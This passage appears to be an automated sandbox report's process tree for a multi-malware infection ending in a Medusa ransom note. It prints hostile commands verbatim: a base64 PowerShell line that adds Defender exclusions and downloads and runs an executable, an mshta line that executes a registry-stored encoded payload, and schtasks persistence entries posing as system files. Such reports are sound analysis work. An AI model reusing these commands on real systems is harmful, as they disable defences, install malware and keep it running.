"PAAjAGEAaQB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBkAGYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeABzAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBpAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBjAGgAcgBpAHMANwA2ADQANQAvAHIAZQBwAG8ALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwBhAC8AUwB0AGUAYQBtAEQAYQB0AGEALgBlAHgAZQAnACwAIAA8ACMAZABqAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHkAegAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHgAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB3AGkAbgAzADIALgBlAHgAZQAnACkAKQA8ACMAegB4AGoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgBwAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAZwBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHcAaQBuADMAMgAuAGUAeABlACcAKQA8ACMAZwBnAHoAIwA+AA=="3⤵
-
C:\Windows\SysWOW64\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "8168" "2516" "2152" "2380" "0" "0" "2052" "0" "0" "0" "0" "0"4⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe"C:\Users\Admin\AppData\Local\Temp\f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe"C:\Users\Admin\AppData\Local\Temp\ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe"C:\Users\Admin\AppData\Local\Temp\dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Default User\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2348 -ip 23481⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d985" /sc MINUTE /mo 5 /tr "'C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98" /sc ONLOGON /tr "'C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2348 -ip 23481⤵
-
C:\Windows\system32\mshta.exemshta1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d985" /sc MINUTE /mo 7 /tr "'C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\ja-JP\SppExtComObj.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 6012 -ip 60121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2348 -ip 23481⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\ja-JP\SppExtComObj.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 11472 -ip 114721⤵
-
C:\Windows\system32\mshta.EXE"C:\Windows\system32\mshta.EXE" "javascript:new ActiveXObject('Shell.Application').ShellExecute('powershell', '-Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==\')))', '', '', 0);close();"1⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==')))2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\ja-JP\SppExtComObj.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2348 -ip 23481⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\en-US\RuntimeBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2348 -ip 23481⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\en-US\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exeC:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exe1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Windows\en-US\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\vkl.exe"C:\Windows\vkl.exe"1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2348 -ip 23481⤵
-
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exeC:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp48C7.tmp"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Adds Run key to start application
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"3⤵
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Program Files\Windows Defender Advanced Threat Protection\ja-JP\SppExtComObj.exe"C:\Program Files\Windows Defender Advanced Threat Protection\ja-JP\SppExtComObj.exe"1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files (x86)\IMAP Service\imapsvc.exe"C:\Program Files (x86)\IMAP Service\imapsvc.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\IMAP Service\imapsvc.exe"C:\Program Files (x86)\IMAP Service\imapsvc.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\test.exeC:\Users\Admin\AppData\Local\Temp\test.exe1⤵
- Loads dropped DLL
-
C:\Windows\en-US\RuntimeBroker.exe"C:\Windows\en-US\RuntimeBroker.exe"1⤵
-
C:\Recovery\WindowsRE\conhost.exe"C:\Recovery\WindowsRE\conhost.exe"1⤵
- Loads dropped DLL
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2348 -ip 23481⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exeC:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exeC:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe1⤵
- Loads dropped DLL
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2348 -ip 23481⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2348 -ip 23481⤵
-
C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exeC:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\powershell.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\powershell.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\powershell.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "remoteadminr" /sc MINUTE /mo 9 /tr "'C:\Program Files\Internet Explorer\images\remoteadmin.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "remoteadmin" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\remoteadmin.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\powershell.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\powershell.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "remoteadminr" /sc MINUTE /mo 14 /tr "'C:\Program Files\Internet Explorer\images\remoteadmin.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files\Internet Explorer\images\remoteadmin.exe"C:\Program Files\Internet Explorer\images\remoteadmin.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Windows\ja-JP\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\ja-JP\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Windows\ja-JP\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Defender\ja-JP\dwm.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\ja-JP\dwm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Defender\ja-JP\dwm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\ja-JP\conhost.exe"C:\Windows\ja-JP\conhost.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files (x86)\Windows Defender\ja-JP\dwm.exe"C:\Program Files (x86)\Windows Defender\ja-JP\dwm.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Widget\Widget_6998202E610B6AC6.exe"C:\Users\Admin\AppData\Roaming\Widget\Widget_6998202E610B6AC6.exe"1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v3.5\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\msbuild.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v3.5\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\msbuild.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2348 -ip 23481⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2348 -ip 23481⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2936 -ip 29361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3460 -ip 34601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2348 -ip 23481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3396 -ip 33961⤵
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exeC:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2348 -ip 23481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2348 -ip 23481⤵
-
C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"C:\Windows\Globalization\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2348 -ip 23481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2348 -ip 23481⤵
-
C:\Windows\ja-JP\conhost.exe"C:\Windows\ja-JP\conhost.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3396 -ip 33961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3396 -ip 33961⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\!!!READ_ME_MEDUSA!!!.txt1⤵
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2348 -ip 23481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2348 -ip 23481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3396 -ip 33961⤵
Network
